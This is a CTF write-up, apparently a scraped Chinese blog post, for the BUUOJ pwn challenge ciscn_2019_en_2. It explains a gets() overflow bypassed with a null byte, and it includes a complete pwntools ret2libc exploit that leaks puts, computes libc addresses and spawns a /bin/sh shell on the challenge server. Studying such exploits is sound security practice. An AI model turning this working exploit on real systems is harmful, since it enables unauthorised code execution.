当前位置:网站首页>ciscn_ 2019_ en_ two
ciscn_ 2019_ en_ two
2022-06-26 00:47:00 【[mzq]】
ciscn_2019_en_2
Title address : https://buuoj.cn/challenges#ciscn_2019_en_2
main function
It mainly displays and selects form options , according to 123 To perform option operations , The key is encrypt function

encrypt function
This function is the key utilization point
getsInfinite overflow ,strlenCheck the length , But it can be\x00Bypass , Then this function performs XOR on the input characters, which has no effect

But there is no backdoor function in the program , This requires us to disclose libc Medium system The address of the function and \bin\sh Address to construct rop
exp
from pwn import *
from LibcSearcher import LibcSearcher
io = process('./ciscn_2019_en_2')
io = remote("node4.buuoj.cn",29425)
elf = ELF('./ciscn_2019_en_2')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
_start_addr = elf.symbols['_start']
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
payload = b'\x00'+b'a'*87+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(_start_addr)
io.sendlineafter('Input your choice!\n','1')
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
#puts_addr=u64(io.recv()[0:8])
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print hex(puts_addr)
#libc = LibcSearcher('puts',puts_addr)
#libcbase = puts_addr - libc.dump('puts')
#print libcbase
#system_addr = libcbase + libc.dump('system')
#binsh_addr = libcbase + libc.dump('str_bin_sh')
libc = ELF("libc-2.27.so")
offset = puts_addr - libc.symbols["puts"]
system_addr = libc.symbols["system"] + offset
binsh_addr = next(libc.search("/bin/sh")) + offset
payload = b'\x00'+b'a'*87 + p64(pop_rdi) + p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)
io.sendline('1')
io.recv()
io.sendline(payload)
io.interactive()
边栏推荐
- Redisson 3.17.4 release
- Apache基金会正式宣布Apache InLong成为顶级项目
- Web學習之TypeScript
- Ad20 (Altium designer) PCB highlight network
- 1-10Vmware构建自定义的网络架构
- 性能领跑云原生数据库市场!英特尔携腾讯共建云上技术生态
- Analysis and comparison of common test methods for PCBA in SMT chip processing industry
- 使用VS2022編譯Telegram桌面端(tdesktop)
- 鼠标拖拽围绕某个物体旋转展示
- Web学习之TypeScript
猜你喜欢

鼠标拖拽围绕某个物体旋转展示

删库跑路、“投毒”、改协议,开源有哪几大红线千万不能踩?

Why is it best to use equals for integer comparisons

Daily question brushing record (IV)

mtb13_ Perform extract_ blend_ Super{candidate (primaryalternate) \u unique (nullable filtering \foreign\index\granulati

Drag the mouse to rotate the display around an object

Compile the telegraph desktop side (tdesktop) using vs2022

STL tutorial 5-basic concepts of STL and the use of string and vector

Middle order clue binary tree

Regular expression introduction and some syntax
随机推荐
Openresty chapter 01 introduction and installation configuration
QT custom QSlider with cursor
Installing redis on Linux
Methods to realize asynchrony
How to design the product roadmap?
Example: use C # Net to teach you how to develop wechat official account (21) -- using wechat to pay online collection: H5 method
mongodb
Maintenance and key points of SMT Mounter
86. (cesium chapter) cesium overlay surface receiving shadow effect (gltf model)
leetcode. 14 --- longest public prefix
Blob
简单 deepclone
CaMKIIa和GCaMP6f是一樣的嘛?
机器视觉:照亮“智”造新“视”界
使用VS2022編譯Telegram桌面端(tdesktop)
性能领跑云原生数据库市场!英特尔携腾讯共建云上技术生态
Cloud rendering and Intel jointly create the "core" era of cloud rendering
Types of feeder and how to work
mtb13_Perform extract_blend_Super{Candidate(PrimaryAlternate)_Unique(可NULL过滤_Foreign_index_granulari
213. house raiding II